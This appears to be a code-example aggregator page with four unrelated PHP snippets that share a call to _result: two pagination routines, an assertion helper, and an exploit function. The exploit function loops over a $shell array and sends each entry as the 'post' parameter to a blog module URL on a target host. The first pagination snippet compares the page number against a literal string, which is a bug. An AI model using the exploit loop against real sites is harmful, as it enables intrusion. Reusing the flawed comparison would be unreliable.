Exemplo n.º 1
0
 function TampilkanHalaman()
 {
     // Hitung jumlah row
     $s_jml = "select count(0) as RW from " . $this->tables;
     $r_jml = _query($s_jml);
     $this->MaxRowCount = _result($r_jml, 0, 'RW');
     $this->maxrow = $this->maxrow == 0 ? 20 : $this->maxrow;
     $this->pagecount = ceil($this->MaxRowCount / $this->maxrow);
     $a = '';
     if ($this->page <= 0) {
         $this->page = 1;
     }
     if ($this->page > '$maxpages') {
         // Awal
         if ($this->page - 3 > 1) {
             $a .= $this->BuatHalaman1(1, $this->pages) . $this->pageseparator;
         }
         if ($this->page - 3 > 3) {
             $a .= "..." . $this->pageseparator;
         }
         // Tengah
         $a .= $this->BuatHalaman($this->page - 3 < 1 ? 1 : $this->page - 3, $this->page + 3 > $this->pagecount ? $this->pagecount : $this->page + 3);
         // Akhir
         if ($this->page + 3 < $this->pagecount - 1) {
             $a .= "..." . $this->pageseparator;
         }
         if ($this->page + 3 < $this->pagecount) {
             $a .= $this->BuatHalaman1($this->pagecount, $this->pages);
         }
     } else {
         $a .= $this->BuatHalaman(1, $this->pagecount);
     }
     $a = TRIM($a, $this->pageseparator);
     return $a;
 }
Exemplo n.º 2
0
 function TampilkanHalaman()
 {
     // Hitung jumlah row
     $s_jml = "select count(0) as RW from " . $this->tables;
     $r_jml = _query($s_jml);
     $this->MaxRowCount = _result($r_jml, 0, 'RW');
     $this->maxrow = $this->maxrow == 0 ? 20 : $this->maxrow;
     $this->pagecount = ceil($this->MaxRowCount / $this->maxrow);
 }
Exemplo n.º 3
0
function _exploit($hosts, $paths)
{
    global $shell;
    $rets = "";
    $count = count($shell);
    for ($i = 1; $i < $count; $i++) {
        $tab = file_get_contents("http://" . $hosts . "/" . $paths . "/data/modules/blog/module_pages_site.php?post={$shell[$i]}");
        _result($tab);
    }
}
Exemplo n.º 4
0
 /**
  * Is string
  *
  * @param mixed $assertion
  * @return object
  */
 function is_string($assertion)
 {
     return \is_string($assertion) ? _result() : _result('value is not a string');
 }